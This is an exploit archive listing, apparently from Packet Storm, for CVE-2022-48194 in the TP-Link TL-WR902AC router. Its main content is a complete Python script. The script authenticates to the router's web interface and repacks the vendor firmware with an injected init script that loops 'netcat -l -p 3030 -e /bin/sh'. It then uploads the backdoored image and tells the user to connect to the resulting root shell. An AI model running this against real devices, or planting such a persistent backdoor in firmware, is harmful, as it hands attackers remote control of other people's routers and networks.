exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TP-Link TL-WR902AC Remote Code Execution

TP-Link TL-WR902AC Remote Code Execution
Posted Apr 3, 2023
Authored by Tobias Muller

TP-Link TL-WR902AC with firmware version 210730 (V3) suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2022-48194
SHA-256 | 8fd27ab90674606e2057bdf96e6ead290ce3dfb6a184f8f100a72f8ac42ef948

TP-Link TL-WR902AC Remote Code Execution

Change Mirror Download
# !/usr/bin/python3

# Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tobias Müller
# Date: 2022-12-01
# Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329
# Vendor Homepage: https://www.tp-link.com/
# Tested On: TP-Link TL-WR902AC
# Vulnerability Description: Remote Code Execution via importing malicious firmware file
# CVE: CVE-2022-48194
# Technical Details: https://github.com/otsmr/internet-of-vulnerable-things

TARGET_HOST = "192.168.0.1"
ADMIN_PASSWORD = "admin"
TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip"


import requests
import os
import glob
import subprocess
import base64, os, hashlib
from Crypto.Cipher import AES, PKCS1_v1_5 # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad



for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]:
if "not found" in subprocess.check_output(["which", program]).decode():
print(f"[!] need {program} to run")
exit(1)


class WebClient(object):

def __init__(self, host, password):

self.host = "http://" + host
self.password = password
self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest()

self.aes_key = "7765636728821987"
self.aes_iv = "8775677306058909"

self.session = requests.Session()

crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text

self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16)
self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16)
self.seq = int(crypto_data.split("\n")[3].split('"')[1])

self.jsessionid = self.get_jsessionid()


def get_jsessionid(self):
post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n"
self.get_encrypted_request_data(post_data, True)
return self.session.cookies["JSESSIONID"]

def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8'))
plaintext_padded = pad(plaintext, aes_block_size)
return cipher.encrypt(plaintext_padded)

def rsa_encrypt(self, n, e, plaintext):
public_key = RSA.construct((n, e)).publickey()
encryptor = PKCS1_v1_5.new(public_key)
block_size = int(public_key.n.bit_length() / 8) - 11
encrypted_text = ''
for i in range(0, len(plaintext), block_size):
encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex()
return encrypted_text

def get_encrypted_request_data(self, post_data, is_login: bool):

encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8'))
encrypted_data = base64.b64encode(encrypted_data).decode()

self.seq += len(encrypted_data)
signature = f"h={self.password_hash}&s={self.seq}"
if is_login:
signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature

encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8'))

body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n"

return self.cgi_basic("_gdpr", body)

def cgi_basic(self, url: str, body: str):

res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={
"Referer": "http://192.168.0.1/"
})

if res.status_code != 200:
print(res.text)
raise ValueError("router not reachable")

return res


def cmd(command):
print("[*] running " + command)
os.system(command)

def build_backdoor():

if os.path.isdir("./tp_tmp"):
cmd("rm -r -f ./tp_tmp")

os.mkdir("./tp_tmp")
os.chdir('./tp_tmp')

print("[*] downloading firmware")
res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD)
with open("firmware.zip", "wb") as f:
f.write(res.content)

print("[*] downloading netcat")

#res = requests.get(NETCAT_PRECOMPILED_FILE)
#with open("netcat", "wb") as f:
# f.write(res.content)

if os.path.isfile("netcat"):
print("[!] netcat not found")
exit()

cmd('unzip firmware.zip')
filename = glob.glob("TL-*.bin")[0]
cmd(f"mv '{filename}' firmware.bin")
cmd('binwalk --dd=".*" firmware.bin')
cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200')

with open("./squashfs-root/etc/init.d/back", "w") as f:
f.write("""
#!/bin/sh
while true;
do
netcat -l -p 3030 -e /bin/sh
sleep 5
done
""")

cmd("chmod +x ./squashfs-root/etc/init.d/back")

with open("./squashfs-root/etc/init.d/rcS", "r+") as f:

content = f.read()
content = content.replace("cos &", "/etc/init.d/back &\ncos &")
f.write(content)

cmd("cp netcat ./squashfs-root/usr/bin/")
cmd("chmod +x ./squashfs-root/usr/bin/netcat")

cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144")

size = subprocess.check_output(["file", "backdoor.squashfs"]).decode()
offset = int(size.split(" ")[9]) + 1442304
cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304")
cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304")
cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}")

os.chdir('../')

cmd(f"mv ./tp_tmp/backdoor.bin .")
cmd("rm -r -f ./tp_tmp")

def upload_backdoor():

wc = WebClient(TARGET_HOST, ADMIN_PASSWORD)

print("[*] uploading backdoor")

files = {
'filename': open('backdoor.bin','rb')
}

re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={
"JSESSIONID": wc.jsessionid
}, headers={
"Referer": "http://192.168.0.1/mainFrame.htm"
}, files=files)

if re_upload.status_code != 200 or "OK" not in re_upload.text:
print("[!] error")
exit(1)

print("[*] success!")

print("\nWait for router restart, then run:")
print("nc 192.168.0.1 3030")


build_backdoor()
upload_backdoor()

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close